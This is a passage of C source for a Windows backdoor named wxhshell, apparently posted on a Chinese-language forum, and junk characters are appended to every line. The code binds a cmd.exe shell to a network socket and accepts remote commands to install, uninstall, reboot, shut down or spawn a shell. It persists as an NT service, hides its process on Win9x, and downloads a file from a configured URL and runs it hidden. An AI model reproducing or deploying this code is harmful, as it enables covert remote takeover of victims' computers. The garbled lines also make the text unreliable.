  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W:{1R&$l  
  } =LHE_ AA  
  else { q4$zsw  
sHO6y0P  
    switch(cmd[0]) { ml 7]s N(  
  EBS04]5ul  
  // 帮助 EzK,SN#  
  case '?': { RE`XyS0Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <!^wGN$f  
    break; ^- T!(P:  
  } IbQ3*  
  // 安装 MWGW[V;  
  case 'i': { Q9)/INh  
    if(Install()) ,qJ/Jt$A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ^G{3x  
    else gq`gitu0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Jo[&,  
    break; q#Az\B:  
    } j{EN %  
  // 卸载 _wp6rb:8!  
  case 'r': { zN JK+_O=  
    if(Uninstall()) F*hOa|7/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O-6848iCX  
    else k}y1IW+3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \I; lgz2  
    break; _*B]yz6z  
    } 17[7)M88  
  // 显示 wxhshell 所在路径 )BudV zg  
  case 'p': { XRVE8v+  
    char svExeFile[MAX_PATH]; /02|b}{  
    strcpy(svExeFile,"\n\r"); SnVIV%  
      strcat(svExeFile,ExeFile); #(-V^ T  
        send(wsh,svExeFile,strlen(svExeFile),0); %"V Y)  
    break; pZz?c/h-  
    } t_c;4iE  
  // 重启 Qjh5m5e  
  case 'b': { Da5Zz(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]+Yd#<j(u  
    if(Boot(REBOOT)) iZGc'y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }R* [7V9"  
    else { @#Jc!p7)  
    closesocket(wsh); r-'(_t~FT  
    ExitThread(0); F>E'/r*  
    } y/rmxQtP  
    break; 0XFJ/  
    } :P<} bGN  
  // 关机 m&jh7)V  
  case 'd': { Y~(#_K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); to9 u%d8  
    if(Boot(SHUTDOWN)) k$?zh$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8r(S=dA  
    else { c?5e|dZz  
    closesocket(wsh); xJrRJwL  
    ExitThread(0); #+V-65v  
    } F`-|@k  
    break; w;}pebL:  
    } Q~<$'j  
  // 获取shell g76l@QYIU  
  case 's': { wQJY,|.  
    CmdShell(wsh);  UN[rW0*  
    closesocket(wsh); " jly[M}C  
    ExitThread(0); 5$0@f`sj  
    break; H2`aw3  
  } xM}lX(V!w  
  // 退出 vs;T}' O  
  case 'x': { fgYdKv8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '}4LHB;:  
    CloseIt(wsh); @V:4tG.<sw  
    break; W&dYH 4O  
    } c*$&MCh  
  // 离开 tKgPKWP   
  case 'q': { =z^v)=uhp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G\&4_MS  
    closesocket(wsh); hX(:xc  
    WSACleanup(); UbKdB  
    exit(1); TWkuR]5  
    break; znv2:  
        } XNkw9*IT  
  } W*i PseXq  
  } o,(MB[|hQ  
WgPpW!`  
  // 提示信息 4tU3+e5h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2i`N26On  
} H5uWI  
  } 6O8'T`F[  
y)o!F^  
  return; TcA+ov>TD  
} Y,z15i3j?  
pB;)H ii\  
// shell模块句柄 J(F]?H  
int CmdShell(SOCKET sock) ?3jOE4~aHr  
{ }@Lbv aa  
STARTUPINFO si; vUh.ev0  
ZeroMemory(&si,sizeof(si)); *#{[9d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CJ0j2e/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ';4DUh p  
PROCESS_INFORMATION ProcessInfo; '|Dm\cy  
char cmdline[]="cmd"; VXlTA>a }  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bSsX)wHm  
  return 0; ;i?Ao:]  
} FC+K2Yf1=0  
~Q%C>  
// 自身启动模式 (cJb/|?3  
int StartFromService(void) GY 4?}T^s  
{ Kg^L 4Q  
typedef struct f@&C \  
{ '^ "6EF.R  
  DWORD ExitStatus; hyv*+FV;  
  DWORD PebBaseAddress; X+"8yZz3?  
  DWORD AffinityMask; )$V}tr!  
  DWORD BasePriority; 5#/" 0:2  
  ULONG UniqueProcessId; 9Y&,dBj+  
  ULONG InheritedFromUniqueProcessId; l@7X gsey  
}   PROCESS_BASIC_INFORMATION; SFAh(+t  
8t3@ Hi  
PROCNTQSIP NtQueryInformationProcess; L9[? qFp  
] )D\ws)a9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kuq3QW<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o!EPF-:  
} _Yk.@J5  
  HANDLE             hProcess; SOQm>\U'i  
  PROCESS_BASIC_INFORMATION pbi; 8 St`,Tq)  
<_&tP=h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'PTWC.C?9  
  if(NULL == hInst ) return 0; _=@9XvNM  
$$8xdv#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4SSq5Ve<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (r,tU(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ];bB7+  
cU7 c}?J<  
  if (!NtQueryInformationProcess) return 0; KY$6=/?U_  
mwLp~z%OX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O{hGh{y  
  if(!hProcess) return 0; !Ziq^o.  
v&oE!s#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?'uxYeX6  
.n]P6t  
  CloseHandle(hProcess); NidG|Yg~Z  
8$}1|"F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6'd=% V  
if(hProcess==NULL) return 0; -ZqN~5>j)  
4{H>V_9zs  
HMODULE hMod; J@'}lG  
char procName[255]; Y0iL+=[k`m  
unsigned long cbNeeded; UV8,SSDTV  
l9 RjxO.~U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z=`\U?,  
}wzU<(Rx  
  CloseHandle(hProcess); #UGm/4C  
RkP g&R;i  
if(strstr(procName,"services")) return 1; // 以服务启动 v WKUV|  
tj@IrwC^e"  
  return 0; // 注册表启动 5at\!17TY  
} ;i|V++$_  
6Ouy%]0$I3  
// 主模块 ._JM3o}F  
int StartWxhshell(LPSTR lpCmdLine) |pk1pV |  
{ D(6d#c  
  SOCKET wsl; ]l.y/pRP5[  
BOOL val=TRUE; J2VhheL`J  
  int port=0; PK^{WF}L;  
  struct sockaddr_in door; ^Z]1Z  
dE9xan  
  if(wscfg.ws_autoins) Install(); N9IBw',  
WF#eqU*&  
port=atoi(lpCmdLine); ka3Jqy4[  
sS#Lnj^`%  
if(port<=0) port=wscfg.ws_port; 2@WF]*Z  
`h+ia/  
  WSADATA data; wlr/zquAE9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R:HF~}  
e -vL!&;2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H/m -$;cF3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CbTYt6DC  
  door.sin_family = AF_INET; bf ]W_I]B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $r})j~c  
  door.sin_port = htons(port); M;*f(JY$  
bm9@A]yP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n`<YhV  
closesocket(wsl); %|md0  
return 1; 3uA%1 E  
} g2p/#\D\J  
</0@7  
  if(listen(wsl,2) == INVALID_SOCKET) { !IlsKMZ  
closesocket(wsl); a!YpSFr  
return 1; }Jkz0JY~  
} "C 7-^R#  
  Wxhshell(wsl); m }I@:s2  
  WSACleanup(); H SEfpbh  
L2:v#c()#)  
return 0; ;~Y0H9`  
P wL]v.:  
} o!6gl]U'y9  
@MMk=/WDw  
// 以NT服务方式启动 DEEQ/B{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p<IMWe'tP  
{ 7,U^v}$   
DWORD   status = 0; Z^w11}  
  DWORD   specificError = 0xfffffff; U6V+jD}L]  
``bIqY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9 A0wiKp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'B&gr}@4O=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &`hx   
  serviceStatus.dwWin32ExitCode     = 0; M]PH1 2Ob  
  serviceStatus.dwServiceSpecificExitCode = 0; "@Ir Bi6  
  serviceStatus.dwCheckPoint       = 0; Ng=XH"ce~  
  serviceStatus.dwWaitHint       = 0; J WaI[n}  
u2crL5^z2)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sCG[gshq  
  if (hServiceStatusHandle==0) return; 5*QNE!  
w yi n  
status = GetLastError(); _(=[d  
  if (status!=NO_ERROR) w_o|k&~,  
{ M_@%*y\o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; --*Jv"/0  
    serviceStatus.dwCheckPoint       = 0; 63R?=u@  
    serviceStatus.dwWaitHint       = 0; OrN>4S  
    serviceStatus.dwWin32ExitCode     = status; (}1 gO  
    serviceStatus.dwServiceSpecificExitCode = specificError; \]pRu"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ;ew j  
    return; KICy! "af  
  } tHgn-Dhzr  
LPr34BK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R$qp3I  
  serviceStatus.dwCheckPoint       = 0; \[</|]'[  
  serviceStatus.dwWaitHint       = 0; =ZdP0l+V=k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7!.#:+rg5#  
} QR4!r@*=  
LliOhr4  
// 处理NT服务事件,比如:启动、停止 M(>"e*Pi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }T([gc7~  
{ Fljqh8c5  
switch(fdwControl) VNKtJmt  
{ @64PdM!L  
case SERVICE_CONTROL_STOP: 20glz(  
  serviceStatus.dwWin32ExitCode = 0; t# cm |  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .ET@J`"M  
  serviceStatus.dwCheckPoint   = 0; $kPC"!X\  
  serviceStatus.dwWaitHint     = 0; ;Y<Hi\2oy  
  { ^id9_RU   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YCJcDab  
  } {s^vAD<~x3  
  return; s~OGl PK  
case SERVICE_CONTROL_PAUSE: uA]Z"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yk r5bS  
  break; g *}M;"  
case SERVICE_CONTROL_CONTINUE: Imi;EHW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |#hj O3  
  break; ""-#b^DQ  
case SERVICE_CONTROL_INTERROGATE: :oRR1k  
  break; 8^bc4(H  
}; 7R W5U'B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ww8<f$  
} 05_aL` &eb  
=2;2_u?  
// 标准应用程序主函数 -"m4 A0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l)@Zuh  
{ lP$bxUNt  
JBY`Y ]V3  
// 获取操作系统版本 NCm>iEeY  
OsIsNt=GetOsVer(); xw2dEvjgp%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jhs('n,  
XN+~g.0  
  // 从命令行安装 "VEA71  
  if(strpbrk(lpCmdLine,"iI")) Install(); d4'*K1m   
Gwl]sMJ  
  // 下载执行文件 /F#_~9JXG  
if(wscfg.ws_downexe) { h>jLhj<07W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wNzALfS  
  WinExec(wscfg.ws_filenam,SW_HIDE); tu.Tvtudzj  
} RY8Ot2DWi  
46U?aHKW@|  
if(!OsIsNt) { QuEfV?)_4  
// 如果时win9x,隐藏进程并且设置为注册表启动 CUz1 q*):  
HideProc(); Snm m (.  
StartWxhshell(lpCmdLine); R.KqTEs<k  
} O3H~|R+^  
else v]`}T/n  
  if(StartFromService()) C?I vXPlV  
  // 以服务方式启动 8=XfwwWHy<  
  StartServiceCtrlDispatcher(DispatchTable); +n#kpi'T  
else WJCh{Xn%*  
  // 普通方式启动 uK_Q l\d  
  StartWxhshell(lpCmdLine); aI8k:FK"  
ssdpwn'  
return 0; '<(S*&s  
}
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只看该作者 1 发表于: 2006-10-10
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